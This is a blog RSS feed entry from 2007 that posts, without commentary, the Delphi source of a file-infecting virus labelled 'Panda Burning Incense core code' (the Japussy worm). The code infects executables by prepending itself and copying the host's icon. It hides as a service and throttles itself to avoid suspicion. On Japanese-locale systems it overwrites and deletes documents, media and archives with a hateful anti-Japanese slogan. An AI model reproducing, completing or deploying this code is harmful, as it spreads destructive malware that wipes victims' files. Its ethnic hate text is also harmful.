﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>IT博客-YIYE的BLOG-随笔分类-源码</title><link>http://www.cnitblog.com/yiye/category/5406.html</link><description>随便写写。累了.

警告:我的Blog并未迁移.
http://www.15661588.cn 这个是假冒的!  小心!
增加一个骗子QQ:80811541  卖外挂的!</description><language>zh-cn</language><lastBuildDate>Tue, 27 Sep 2011 06:40:49 GMT</lastBuildDate><pubDate>Tue, 27 Sep 2011 06:40:49 GMT</pubDate><ttl>60</ttl><item><title>熊猫烧香核心代码 </title><link>http://www.cnitblog.com/yiye/archive/2007/05/21/27417.html</link><dc:creator>yiye</dc:creator><author>yiye</author><pubDate>Mon, 21 May 2007 14:51:00 GMT</pubDate><guid>http://www.cnitblog.com/yiye/archive/2007/05/21/27417.html</guid><wfw:comment>http://www.cnitblog.com/yiye/comments/27417.html</wfw:comment><comments>http://www.cnitblog.com/yiye/archive/2007/05/21/27417.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/yiye/comments/commentRss/27417.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/yiye/services/trackbacks/27417.html</trackback:ping><description><![CDATA[<span class=oblog_text>program&nbsp;japussy;<br>uses<br>windows,&nbsp;sysutils,&nbsp;classes,&nbsp;graphics,&nbsp;shellapi{,&nbsp;registry};<br>const<br>headersize&nbsp;=&nbsp;82432;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//病毒体的大小<br>iconoffset&nbsp;=&nbsp;$12eb8;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//pe文件主图标的偏移量<br><br>//在我的delphi5&nbsp;sp1上面编译得到的大小，其它版本的delphi可能不同<br>//查找2800000020的十六进制字符串可以找到主图标的偏移量<br>&nbsp;&nbsp;<br>{<br>headersize&nbsp;=&nbsp;38912;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//upx压缩过病毒体的大小<br>iconoffset&nbsp;=&nbsp;$92bc;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//upx压缩过pe文件主图标的偏移量<br><br>//upx&nbsp;1.24w&nbsp;用法:&nbsp;upx&nbsp;-9&nbsp;--8086&nbsp;japussy.exe<br>}<br>iconsize&nbsp;&nbsp;&nbsp;=&nbsp;$2e8;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//pe文件主图标的大小--744字节<br>icontail&nbsp;&nbsp;&nbsp;=&nbsp;iconoffset&nbsp;+&nbsp;iconsize;&nbsp;//pe文件主图标的尾部<br>id&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&nbsp;$44444444;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//感染标记<br><br>//垃圾码，以备写入<br>catchword&nbsp;=&nbsp;'if&nbsp;a&nbsp;race&nbsp;need&nbsp;to&nbsp;be&nbsp;killed&nbsp;out,&nbsp;it&nbsp;must&nbsp;be&nbsp;yamato.&nbsp;'&nbsp;+<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'if&nbsp;a&nbsp;country&nbsp;need&nbsp;to&nbsp;be&nbsp;destroyed,&nbsp;it&nbsp;must&nbsp;be&nbsp;japan!&nbsp;'&nbsp;+<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'***&nbsp;w32.japussy.worm.a&nbsp;***';<br>{$r&nbsp;*.res}<br>function&nbsp;registerserviceprocess(dwprocessid,&nbsp;dwtype:&nbsp;integer):&nbsp;integer;&nbsp;<br>stdcall;&nbsp;external&nbsp;'kernel32.dll';&nbsp;//函数声明<br>var<br>tmpfile:&nbsp;string;<br>si:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;startupinfo;<br>pi:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;process_information;<br>isjap:&nbsp;&nbsp;&nbsp;boolean&nbsp;=&nbsp;false;&nbsp;//日文操作系统标记<br>{&nbsp;判断是否为win9x&nbsp;}<br>function&nbsp;iswin9x:&nbsp;boolean;<br>var<br>ver:&nbsp;tosversioninfo;<br>begin<br>result&nbsp;:=&nbsp;false;<br>ver.dwosversioninfosize&nbsp;:=&nbsp;sizeof(tosversioninfo);<br>if&nbsp;not&nbsp;getversionex(ver)&nbsp;then<br>&nbsp;&nbsp;exit;<br>if&nbsp;(ver.dwplatformid&nbsp;=&nbsp;ver_platform_win32_windows)&nbsp;then&nbsp;//win9x<br>&nbsp;&nbsp;result&nbsp;:=&nbsp;true;<br>end;<br>{&nbsp;在流之间复制&nbsp;}<br>procedure&nbsp;copystream(src:&nbsp;tstream;&nbsp;sstartpos:&nbsp;integer;&nbsp;dst:&nbsp;tstream;<br>dstartpos:&nbsp;integer;&nbsp;count:&nbsp;integer);<br>var<br>scurpos,&nbsp;dcurpos:&nbsp;integer;<br>begin<br>scurpos&nbsp;:=&nbsp;src.position;<br>dcurpos&nbsp;:=&nbsp;dst.position;<br>src.seek(sstartpos,&nbsp;0);<br>dst.seek(dstartpos,&nbsp;0);<br>dst.copyfrom(src,&nbsp;count);<br>src.seek(scurpos,&nbsp;0);<br>dst.seek(dcurpos,&nbsp;0);<br>end;<br>{&nbsp;将宿主文件从已感染的pe文件中分离出来，以备使用&nbsp;}<br>procedure&nbsp;extractfile(filename:&nbsp;string);<br>var<br>sstream,&nbsp;dstream:&nbsp;tfilestream;<br>begin<br>try<br>&nbsp;&nbsp;sstream&nbsp;:=&nbsp;tfilestream.create(paramstr(0),&nbsp;fmopenread&nbsp;or&nbsp;fmsharedenynone);<br>&nbsp;&nbsp;try<br>&nbsp;&nbsp;&nbsp;&nbsp;dstream&nbsp;:=&nbsp;tfilestream.create(filename,&nbsp;fmcreate);<br>&nbsp;&nbsp;&nbsp;&nbsp;try<br>&nbsp;&nbsp;&nbsp;&nbsp;sstream.seek(headersize,&nbsp;0);&nbsp;//跳过头部的病毒部分<br>&nbsp;&nbsp;&nbsp;&nbsp;dstream.copyfrom(sstream,&nbsp;sstream.size&nbsp;-&nbsp;headersize);<br>&nbsp;&nbsp;&nbsp;&nbsp;finally<br>&nbsp;&nbsp;&nbsp;&nbsp;dstream.free;<br>&nbsp;&nbsp;&nbsp;&nbsp;end;<br>&nbsp;&nbsp;finally<br>&nbsp;&nbsp;&nbsp;&nbsp;sstream.free;<br>&nbsp;&nbsp;end;<br>except<br>end;<br>end;<br>{&nbsp;填充startupinfo结构&nbsp;}<br>procedure&nbsp;fillstartupinfo(var&nbsp;si:&nbsp;startupinfo;&nbsp;state:&nbsp;word);<br>begin<br>si.cb&nbsp;:=&nbsp;sizeof(si);<br>si.lpreserved&nbsp;:=&nbsp;nil;<br>si.lpdesktop&nbsp;:=&nbsp;nil;<br>si.lptitle&nbsp;:=&nbsp;nil;<br>si.dwflags&nbsp;:=&nbsp;startf_useshowwindow;<br>si.wshowwindow&nbsp;:=&nbsp;state;<br>si.cbreserved2&nbsp;:=&nbsp;0;<br>si.lpreserved2&nbsp;:=&nbsp;nil;<br>end;<br>{&nbsp;发带毒邮件&nbsp;}<br>procedure&nbsp;sendmail;<br>begin<br>//哪位仁兄愿意完成之？<br>end;<br>{&nbsp;感染pe文件&nbsp;}<br>procedure&nbsp;infectonefile(filename:&nbsp;string);<br>var<br>hdrstream,&nbsp;srcstream:&nbsp;tfilestream;<br>icostream,&nbsp;dststream:&nbsp;tmemorystream;<br>iid:&nbsp;longint;<br>aicon:&nbsp;ticon;<br>infected,&nbsp;ispe:&nbsp;boolean;<br>i:&nbsp;integer;<br>buf:&nbsp;array[0..1]&nbsp;of&nbsp;char;<br>begin<br>try&nbsp;//出错则文件正在被使用，退出<br>&nbsp;&nbsp;if&nbsp;comparetext(filename,&nbsp;'japussy.exe')&nbsp;=&nbsp;0&nbsp;then&nbsp;//是自己则不感染<br>&nbsp;&nbsp;&nbsp;&nbsp;exit;<br>&nbsp;&nbsp;infected&nbsp;:=&nbsp;false;<br>&nbsp;&nbsp;ispe&nbsp;&nbsp;&nbsp;:=&nbsp;false;<br>&nbsp;&nbsp;srcstream&nbsp;:=&nbsp;tfilestream.create(filename,&nbsp;fmopenread);<br>&nbsp;&nbsp;try<br>&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;i&nbsp;:=&nbsp;0&nbsp;to&nbsp;$108&nbsp;do&nbsp;//检查pe文件头<br>&nbsp;&nbsp;&nbsp;&nbsp;begin<br>&nbsp;&nbsp;&nbsp;&nbsp;srcstream.seek(i,&nbsp;sofrombeginning);<br>&nbsp;&nbsp;&nbsp;&nbsp;srcstream.read(buf,&nbsp;2);<br>&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(buf[0]&nbsp;=&nbsp;#80)&nbsp;and&nbsp;(buf[1]&nbsp;=&nbsp;#69)&nbsp;then&nbsp;//pe标记<br>&nbsp;&nbsp;&nbsp;&nbsp;begin<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ispe&nbsp;:=&nbsp;true;&nbsp;//是pe文件<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br>&nbsp;&nbsp;&nbsp;&nbsp;end;<br>&nbsp;&nbsp;&nbsp;&nbsp;end;<br>&nbsp;&nbsp;&nbsp;&nbsp;srcstream.seek(-4,&nbsp;sofromend);&nbsp;//检查感染标记<br>&nbsp;&nbsp;&nbsp;&nbsp;srcstream.read(iid,&nbsp;4);<br>&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(iid&nbsp;=&nbsp;id)&nbsp;or&nbsp;(srcstream.size&nbsp;&lt;&nbsp;10240)&nbsp;then&nbsp;//太小的文件不感染<br>&nbsp;&nbsp;&nbsp;&nbsp;infected&nbsp;:=&nbsp;true;<br>&nbsp;&nbsp;finally<br>&nbsp;&nbsp;&nbsp;&nbsp;srcstream.free;<br>&nbsp;&nbsp;end;<br>&nbsp;&nbsp;if&nbsp;infected&nbsp;or&nbsp;(not&nbsp;ispe)&nbsp;then&nbsp;//如果感染过了或不是pe文件则退出<br>&nbsp;&nbsp;&nbsp;&nbsp;exit;<br>&nbsp;&nbsp;icostream&nbsp;:=&nbsp;tmemorystream.create;<br>&nbsp;&nbsp;dststream&nbsp;:=&nbsp;tmemorystream.create;<br>&nbsp;&nbsp;try<br>&nbsp;&nbsp;&nbsp;&nbsp;aicon&nbsp;:=&nbsp;ticon.create;<br>&nbsp;&nbsp;&nbsp;&nbsp;try<br>&nbsp;&nbsp;&nbsp;&nbsp;//得到被感染文件的主图标(744字节)，存入流<br>&nbsp;&nbsp;&nbsp;&nbsp;aicon.releasehandle;<br>&nbsp;&nbsp;&nbsp;&nbsp;aicon.handle&nbsp;:=&nbsp;extracticon(hinstance,&nbsp;pchar(filename),&nbsp;0);<br>&nbsp;&nbsp;&nbsp;&nbsp;aicon.savetostream(icostream);<br>&nbsp;&nbsp;&nbsp;&nbsp;finally<br>&nbsp;&nbsp;&nbsp;&nbsp;aicon.free;<br>&nbsp;&nbsp;&nbsp;&nbsp;end;<br>&nbsp;&nbsp;&nbsp;&nbsp;srcstream&nbsp;:=&nbsp;tfilestream.create(filename,&nbsp;fmopenread);<br>&nbsp;&nbsp;&nbsp;&nbsp;//头文件<br>&nbsp;&nbsp;&nbsp;&nbsp;hdrstream&nbsp;:=&nbsp;tfilestream.create(paramstr(0),&nbsp;fmopenread&nbsp;or&nbsp;fmsharedenynone);<br>&nbsp;&nbsp;&nbsp;&nbsp;try<br>&nbsp;&nbsp;&nbsp;&nbsp;//写入病毒体主图标之前的数据<br>&nbsp;&nbsp;&nbsp;&nbsp;copystream(hdrstream,&nbsp;0,&nbsp;dststream,&nbsp;0,&nbsp;iconoffset);<br>&nbsp;&nbsp;&nbsp;&nbsp;//写入目前程序的主图标<br>&nbsp;&nbsp;&nbsp;&nbsp;copystream(icostream,&nbsp;22,&nbsp;dststream,&nbsp;iconoffset,&nbsp;iconsize);<br>&nbsp;&nbsp;&nbsp;&nbsp;//写入病毒体主图标到病毒体尾部之间的数据<br>&nbsp;&nbsp;&nbsp;&nbsp;copystream(hdrstream,&nbsp;icontail,&nbsp;dststream,&nbsp;icontail,&nbsp;headersize&nbsp;-&nbsp;icontail);<br>&nbsp;&nbsp;&nbsp;&nbsp;//写入宿主程序<br>&nbsp;&nbsp;&nbsp;&nbsp;copystream(srcstream,&nbsp;0,&nbsp;dststream,&nbsp;headersize,&nbsp;srcstream.size);<br>&nbsp;&nbsp;&nbsp;&nbsp;//写入已感染的标记<br>&nbsp;&nbsp;&nbsp;&nbsp;dststream.seek(0,&nbsp;2);<br>&nbsp;&nbsp;&nbsp;&nbsp;iid&nbsp;:=&nbsp;$44444444;<br>&nbsp;&nbsp;&nbsp;&nbsp;dststream.write(iid,&nbsp;4);<br>&nbsp;&nbsp;&nbsp;&nbsp;finally<br>&nbsp;&nbsp;&nbsp;&nbsp;hdrstream.free;<br>&nbsp;&nbsp;&nbsp;&nbsp;end;<br>&nbsp;&nbsp;finally<br>&nbsp;&nbsp;&nbsp;&nbsp;srcstream.free;<br>&nbsp;&nbsp;&nbsp;&nbsp;icostream.free;<br>&nbsp;&nbsp;&nbsp;&nbsp;dststream.savetofile(filename);&nbsp;//替换宿主文件<br>&nbsp;&nbsp;&nbsp;&nbsp;dststream.free;<br>&nbsp;&nbsp;end;<br>except;<br>end;<br>end;<br>{&nbsp;将目标文件写入垃圾码后删除&nbsp;}<br>procedure&nbsp;smashfile(filename:&nbsp;string);<br>var<br>filehandle:&nbsp;integer;<br>i,&nbsp;size,&nbsp;mass,&nbsp;max,&nbsp;len:&nbsp;integer;<br>begin<br>try<br>&nbsp;&nbsp;setfileattributes(pchar(filename),&nbsp;0);&nbsp;//去掉只读属性<br>&nbsp;&nbsp;filehandle&nbsp;:=&nbsp;fileopen(filename,&nbsp;fmopenwrite);&nbsp;//打开文件<br>&nbsp;&nbsp;try<br>&nbsp;&nbsp;&nbsp;&nbsp;size&nbsp;:=&nbsp;getfilesize(filehandle,&nbsp;nil);&nbsp;//文件大小<br>&nbsp;&nbsp;&nbsp;&nbsp;i&nbsp;:=&nbsp;0;<br>&nbsp;&nbsp;&nbsp;&nbsp;randomize;<br>&nbsp;&nbsp;&nbsp;&nbsp;max&nbsp;:=&nbsp;random(15);&nbsp;//写入垃圾码的随机次数<br>&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;max&nbsp;&lt;&nbsp;5&nbsp;then<br>&nbsp;&nbsp;&nbsp;&nbsp;max&nbsp;:=&nbsp;5;<br>&nbsp;&nbsp;&nbsp;&nbsp;mass&nbsp;:=&nbsp;size&nbsp;div&nbsp;max;&nbsp;//每个间隔块的大小<br>&nbsp;&nbsp;&nbsp;&nbsp;len&nbsp;:=&nbsp;length(catchword);<br>&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;i&nbsp;&lt;&nbsp;max&nbsp;do<br>&nbsp;&nbsp;&nbsp;&nbsp;begin<br>&nbsp;&nbsp;&nbsp;&nbsp;fileseek(filehandle,&nbsp;i&nbsp;*&nbsp;mass,&nbsp;0);&nbsp;//定位<br>&nbsp;&nbsp;&nbsp;&nbsp;//写入垃圾码，将文件彻底破坏掉<br>&nbsp;&nbsp;&nbsp;&nbsp;filewrite(filehandle,&nbsp;catchword,&nbsp;len);<br>&nbsp;&nbsp;&nbsp;&nbsp;inc(i);<br>&nbsp;&nbsp;&nbsp;&nbsp;end;<br>&nbsp;&nbsp;finally<br>&nbsp;&nbsp;&nbsp;&nbsp;fileclose(filehandle);&nbsp;//关闭文件<br>&nbsp;&nbsp;end;<br>&nbsp;&nbsp;deletefile(pchar(filename));&nbsp;//删除之<br>except<br>end;<br>end;<br>{&nbsp;获得可写的驱动器列表&nbsp;}<br>function&nbsp;getdrives:&nbsp;string;<br>var<br>disktype:&nbsp;word;<br>d:&nbsp;char;<br>str:&nbsp;string;<br>i:&nbsp;integer;<br>begin<br>for&nbsp;i&nbsp;:=&nbsp;0&nbsp;to&nbsp;25&nbsp;do&nbsp;//遍历26个字母<br>begin<br>&nbsp;&nbsp;d&nbsp;:=&nbsp;chr(i&nbsp;+&nbsp;65);<br>&nbsp;&nbsp;str&nbsp;:=&nbsp;d&nbsp;+&nbsp;':\';<br>&nbsp;&nbsp;disktype&nbsp;:=&nbsp;getdrivetype(pchar(str));<br>&nbsp;&nbsp;//得到本地磁盘和网络盘<br>&nbsp;&nbsp;if&nbsp;(disktype&nbsp;=&nbsp;drive_fixed)&nbsp;or&nbsp;(disktype&nbsp;=&nbsp;drive_remote)&nbsp;then<br>&nbsp;&nbsp;&nbsp;&nbsp;result&nbsp;:=&nbsp;result&nbsp;+&nbsp;d;<br>end;<br>end;<br>{&nbsp;遍历目录，感染和摧毁文件&nbsp;}<br>procedure&nbsp;loopfiles(path,&nbsp;mask:&nbsp;string);<br>var<br>i,&nbsp;count:&nbsp;integer;<br>fn,&nbsp;ext:&nbsp;string;<br>subdir:&nbsp;tstrings;<br>searchrec:&nbsp;tsearchrec;<br>msg:&nbsp;tmsg;<br>function&nbsp;isvaliddir(searchrec:&nbsp;tsearchrec):&nbsp;integer;<br>begin<br>&nbsp;&nbsp;if&nbsp;(searchrec.attr&nbsp;&lt;&gt;&nbsp;16)&nbsp;and&nbsp;(searchrec.name&nbsp;&lt;&gt;&nbsp;'.')&nbsp;and<br>&nbsp;&nbsp;&nbsp;&nbsp;(searchrec.name&nbsp;&lt;&gt;&nbsp;'..')&nbsp;then<br>&nbsp;&nbsp;&nbsp;&nbsp;result&nbsp;:=&nbsp;0&nbsp;//不是目录<br>&nbsp;&nbsp;else&nbsp;if&nbsp;(searchrec.attr&nbsp;=&nbsp;16)&nbsp;and&nbsp;(searchrec.name&nbsp;&lt;&gt;&nbsp;'.')&nbsp;and<br>&nbsp;&nbsp;&nbsp;&nbsp;(searchrec.name&nbsp;&lt;&gt;&nbsp;'..')&nbsp;then<br>&nbsp;&nbsp;&nbsp;&nbsp;result&nbsp;:=&nbsp;1&nbsp;//不是根目录<br>&nbsp;&nbsp;else&nbsp;result&nbsp;:=&nbsp;2;&nbsp;//是根目录<br>end;<br>begin<br>if&nbsp;(findfirst(path&nbsp;+&nbsp;mask,&nbsp;faanyfile,&nbsp;searchrec)&nbsp;=&nbsp;0)&nbsp;then<br>begin<br>&nbsp;&nbsp;repeat<br>&nbsp;&nbsp;&nbsp;&nbsp;peekmessage(msg,&nbsp;0,&nbsp;0,&nbsp;0,&nbsp;pm_remove);&nbsp;//调整消息队列，避免引起怀疑<br>&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;isvaliddir(searchrec)&nbsp;=&nbsp;0&nbsp;then<br>&nbsp;&nbsp;&nbsp;&nbsp;begin<br>&nbsp;&nbsp;&nbsp;&nbsp;fn&nbsp;:=&nbsp;path&nbsp;+&nbsp;searchrec.name;<br>&nbsp;&nbsp;&nbsp;&nbsp;ext&nbsp;:=&nbsp;uppercase(extractfileext(fn));<br>&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(ext&nbsp;=&nbsp;'.exe')&nbsp;or&nbsp;(ext&nbsp;=&nbsp;'.scr')&nbsp;then<br>&nbsp;&nbsp;&nbsp;&nbsp;begin<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;infectonefile(fn);&nbsp;//感染可执行文件&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;end<br>&nbsp;&nbsp;&nbsp;&nbsp;else&nbsp;if&nbsp;(ext&nbsp;=&nbsp;'.htm')&nbsp;or&nbsp;(ext&nbsp;=&nbsp;'.html')&nbsp;or&nbsp;(ext&nbsp;=&nbsp;'.asp')&nbsp;then<br>&nbsp;&nbsp;&nbsp;&nbsp;begin<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//感染html和asp文件，将base64编码后的病毒写入<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//感染浏览此网页的所有用户<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//哪位大兄弟愿意完成之？<br>&nbsp;&nbsp;&nbsp;&nbsp;end<br>&nbsp;&nbsp;&nbsp;&nbsp;else&nbsp;if&nbsp;ext&nbsp;=&nbsp;'.wab'&nbsp;then&nbsp;//outlook地址簿文件<br>&nbsp;&nbsp;&nbsp;&nbsp;begin<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//获取outlook邮件地址<br>&nbsp;&nbsp;&nbsp;&nbsp;end<br>&nbsp;&nbsp;&nbsp;&nbsp;else&nbsp;if&nbsp;ext&nbsp;=&nbsp;'.adc'&nbsp;then&nbsp;//foxmail地址自动完成文件<br>&nbsp;&nbsp;&nbsp;&nbsp;begin<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//获取foxmail邮件地址<br>&nbsp;&nbsp;&nbsp;&nbsp;end<br>&nbsp;&nbsp;&nbsp;&nbsp;else&nbsp;if&nbsp;ext&nbsp;=&nbsp;'ind'&nbsp;then&nbsp;//foxmail地址簿文件<br>&nbsp;&nbsp;&nbsp;&nbsp;begin<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//获取foxmail邮件地址<br>&nbsp;&nbsp;&nbsp;&nbsp;end<br>&nbsp;&nbsp;&nbsp;&nbsp;else&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;begin<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;isjap&nbsp;then&nbsp;//是倭文操作系统<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;begin<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(ext&nbsp;=&nbsp;'.doc')&nbsp;or&nbsp;(ext&nbsp;=&nbsp;'.xls')&nbsp;or&nbsp;(ext&nbsp;=&nbsp;'.mdb')&nbsp;or<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(ext&nbsp;=&nbsp;'.mp3')&nbsp;or&nbsp;(ext&nbsp;=&nbsp;'.rm')&nbsp;or&nbsp;(ext&nbsp;=&nbsp;'.ra')&nbsp;or<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(ext&nbsp;=&nbsp;'.wma')&nbsp;or&nbsp;(ext&nbsp;=&nbsp;'.zip')&nbsp;or&nbsp;(ext&nbsp;=&nbsp;'.rar')&nbsp;or<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(ext&nbsp;=&nbsp;'.mpeg')&nbsp;or&nbsp;(ext&nbsp;=&nbsp;'.asf')&nbsp;or&nbsp;(ext&nbsp;=&nbsp;'.jpg')&nbsp;or<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(ext&nbsp;=&nbsp;'.jpeg')&nbsp;or&nbsp;(ext&nbsp;=&nbsp;'.gif')&nbsp;or&nbsp;(ext&nbsp;=&nbsp;'.swf')&nbsp;or<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(ext&nbsp;=&nbsp;'.pdf')&nbsp;or&nbsp;(ext&nbsp;=&nbsp;'.chm')&nbsp;or&nbsp;(ext&nbsp;=&nbsp;'.avi')&nbsp;then<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;smashfile(fn);&nbsp;//摧毁文件<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end;<br>&nbsp;&nbsp;&nbsp;&nbsp;end;<br>&nbsp;&nbsp;&nbsp;&nbsp;end;<br>&nbsp;&nbsp;&nbsp;&nbsp;//感染或删除一个文件后睡眠200毫秒，避免cpu占用率过高引起怀疑<br>&nbsp;&nbsp;&nbsp;&nbsp;sleep(200);<br>&nbsp;&nbsp;until&nbsp;(findnext(searchrec)&nbsp;&lt;&gt;&nbsp;0);<br>end;<br>findclose(searchrec);<br>subdir&nbsp;:=&nbsp;tstringlist.create;<br>if&nbsp;(findfirst(path&nbsp;+&nbsp;'*.*',&nbsp;fadirectory,&nbsp;searchrec)&nbsp;=&nbsp;0)&nbsp;then<br>begin<br>&nbsp;&nbsp;repeat<br>&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;isvaliddir(searchrec)&nbsp;=&nbsp;1&nbsp;then<br>&nbsp;&nbsp;&nbsp;&nbsp;subdir.add(searchrec.name);<br>&nbsp;&nbsp;until&nbsp;(findnext(searchrec)&nbsp;&lt;&gt;&nbsp;0);<br>&nbsp;&nbsp;end;<br>findclose(searchrec);<br>count&nbsp;:=&nbsp;subdir.count&nbsp;-&nbsp;1;<br>for&nbsp;i&nbsp;:=&nbsp;0&nbsp;to&nbsp;count&nbsp;do<br>&nbsp;&nbsp;loopfiles(path&nbsp;+&nbsp;subdir.strings&nbsp;+&nbsp;'\',&nbsp;mask);<br>freeandnil(subdir);<br>end;<br>{&nbsp;遍历磁盘上所有的文件&nbsp;}<br>procedure&nbsp;infectfiles;<br>var<br>driverlist:&nbsp;string;<br>i,&nbsp;len:&nbsp;integer;<br>begin<br>if&nbsp;getacp&nbsp;=&nbsp;932&nbsp;then&nbsp;//日文操作系统<br>&nbsp;&nbsp;isjap&nbsp;:=&nbsp;true;&nbsp;//去死吧！<br>driverlist&nbsp;:=&nbsp;getdrives;&nbsp;//得到可写的磁盘列表<br>len&nbsp;:=&nbsp;length(driverlist);<br>while&nbsp;true&nbsp;do&nbsp;//死循环<br>begin<br>&nbsp;&nbsp;for&nbsp;i&nbsp;:=&nbsp;len&nbsp;downto&nbsp;1&nbsp;do&nbsp;//遍历每个磁盘驱动器<br>&nbsp;&nbsp;&nbsp;&nbsp;loopfiles(driverlist&nbsp;+&nbsp;':\',&nbsp;'*.*');&nbsp;//感染之<br>&nbsp;&nbsp;sendmail;&nbsp;//发带毒邮件<br>&nbsp;&nbsp;sleep(1000&nbsp;*&nbsp;60&nbsp;*&nbsp;5);&nbsp;//睡眠5分钟<br>end;<br>end;<br>{&nbsp;主程序开始&nbsp;}<br>begin<br>if&nbsp;iswin9x&nbsp;then&nbsp;//是win9x<br>&nbsp;&nbsp;registerserviceprocess(getcurrentprocessid,&nbsp;1)&nbsp;//注册为服务进程<br>else&nbsp;//winnt<br>begin<br>&nbsp;&nbsp;//远程线程映射到explorer进程<br>&nbsp;&nbsp;//哪位兄台愿意完成之？<br>end;<br>//如果是原始病毒体自己<br>if&nbsp;comparetext(extractfilename(paramstr(0)),&nbsp;'japussy.exe')&nbsp;=&nbsp;0&nbsp;then<br>&nbsp;&nbsp;infectfiles&nbsp;//感染和发邮件<br>else&nbsp;//已寄生于宿主程序上了，开始工作<br>begin<br>&nbsp;&nbsp;tmpfile&nbsp;:=&nbsp;paramstr(0);&nbsp;//创建临时文件<br>&nbsp;&nbsp;delete(tmpfile,&nbsp;length(tmpfile)&nbsp;-&nbsp;4,&nbsp;4);<br>&nbsp;&nbsp;tmpfile&nbsp;:=&nbsp;tmpfile&nbsp;+&nbsp;#32&nbsp;+&nbsp;'.exe';&nbsp;//真正的宿主文件，多一个空格<br>&nbsp;&nbsp;extractfile(tmpfile);&nbsp;//分离之<br>&nbsp;&nbsp;fillstartupinfo(si,&nbsp;sw_showdefault);<br>&nbsp;&nbsp;createprocess(pchar(tmpfile),&nbsp;pchar(tmpfile),&nbsp;nil,&nbsp;nil,&nbsp;true,<br>&nbsp;&nbsp;&nbsp;&nbsp;0,&nbsp;nil,&nbsp;'.',&nbsp;si,&nbsp;pi);&nbsp;//创建新进程运行之<br>&nbsp;&nbsp;infectfiles;&nbsp;//感染和发邮件<br>end;<br>end.</span> 
<img src ="http://www.cnitblog.com/yiye/aggbug/27417.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/yiye/" target="_blank">yiye</a> 2007-05-21 22:51 <a href="http://www.cnitblog.com/yiye/archive/2007/05/21/27417.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>